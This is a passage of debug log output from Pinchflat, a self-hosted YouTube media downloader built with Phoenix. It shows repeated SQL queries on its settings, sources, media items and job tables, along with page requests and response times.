s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.344 [debug] QUERY OK source="settings" db=0.9ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.344 [debug] QUERY OK source="media_profiles" db=1.1ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 18:56:13.344 [debug] QUERY OK source="settings" db=1.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.345 [debug] QUERY OK source="settings" db=0.4ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.345 [debug] QUERY OK source="media_profiles" db=0.5ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.345 [info] GET /app_info 18:56:13.345 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 18:56:13.346 [debug] QUERY OK source="settings" db=0.7ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.346 [debug] QUERY OK source="tasks" db=6.3ms idle=0.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 18:56:13.346 [info] GET /sources/2/media/472253 18:56:13.346 [debug] QUERY OK source="media_profiles" db=0.8ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.346 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "472253", "source_id" => "2"} Pipelines: [:browser] 18:56:13.346 [debug] QUERY OK source="settings" db=0.6ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.347 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=0.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17076] 18:56:13.347 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.347 [info] Sent 200 in 10ms 18:56:13.348 [info] Sent 200 in 5ms 18:56:13.348 [info] Sent 200 in 11ms 18:56:13.348 [debug] QUERY OK source="settings" db=1.4ms queue=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.348 [debug] QUERY OK source="settings" db=1.5ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.349 [debug] QUERY OK source="media_items" db=1.9ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [472253] 18:56:13.349 [debug] QUERY OK source="settings" db=0.4ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.349 [debug] QUERY OK source="settings" db=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.349 [debug] QUERY OK source="tasks" db=0.2ms idle=0.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [472253] 18:56:13.350 [debug] QUERY OK source="settings" db=0.4ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.350 [debug] QUERY OK source="sources" db=1.0ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.350 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.350 [debug] QUERY OK source="settings" db=0.2ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.351 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=1.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [16507, 16788] 18:56:13.351 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.351 [info] Sent 200 in 5ms 18:56:13.352 [debug] QUERY OK source="sources" db=0.5ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.352 [debug] QUERY OK source="settings" db=0.8ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.353 [debug] QUERY OK source="settings" db=0.3ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.355 [debug] QUERY OK source="media_profiles" db=1.8ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.356 [debug] QUERY OK source="media_items" db=3.9ms queue=0.3ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:56:13.357 [info] Sent 200 in 11ms 18:56:13.358 [debug] QUERY OK source="media_items" db=1.2ms idle=4.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:56:13.358 [debug] QUERY OK source="sources" db=0.2ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.359 [debug] QUERY OK source="media_items" db=0.5ms idle=5.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 18:56:13.360 [debug] QUERY OK source="media_items" db=0.5ms idle=3.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:56:13.361 [debug] QUERY OK source="sources" db=0.1ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.362 [debug] QUERY OK source="media_items" db=0.6ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 18:56:13.363 [debug] QUERY OK source="media_items" db=0.8ms idle=3.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:56:13.364 [info] Sent 200 in 27ms 18:56:13.439 [info] GET /sources/2/media/469491 18:56:13.440 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "469491", "source_id" => "2"} Pipelines: [:browser] 18:56:13.440 [debug] QUERY OK source="media_items" db=0.1ms idle=80.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [469491] 18:56:13.440 [debug] QUERY OK source="tasks" db=0.2ms idle=80.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [469491] 18:56:13.441 [debug] QUERY OK source="sources" db=0.3ms idle=79.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.441 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=79.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [16414, 16642] 18:56:13.441 [debug] QUERY OK source="settings" db=0.1ms idle=78.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.442 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.442 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.443 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.444 [info] Sent 200 in 4ms 18:56:13.448 [info] GET /sources/3/media/404257 18:56:13.448 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "404257", "source_id" => "3"} Pipelines: [:browser] 18:56:13.448 [debug] QUERY OK source="media_items" db=0.1ms idle=6.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [404257] 18:56:13.449 [debug] QUERY OK source="tasks" db=0.2ms idle=7.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [404257] 18:56:13.449 [debug] QUERY OK source="sources" db=0.3ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:13.449 [info] GET /sources/3 18:56:13.449 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=6.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [14266, 14480] 18:56:13.449 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 18:56:13.450 [debug] QUERY OK source="settings" db=0.3ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.450 [debug] QUERY OK source="sources" db=0.4ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:13.450 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.451 [debug] QUERY OK source="media_profiles" db=0.5ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.451 [debug] QUERY OK source="settings" db=0.3ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 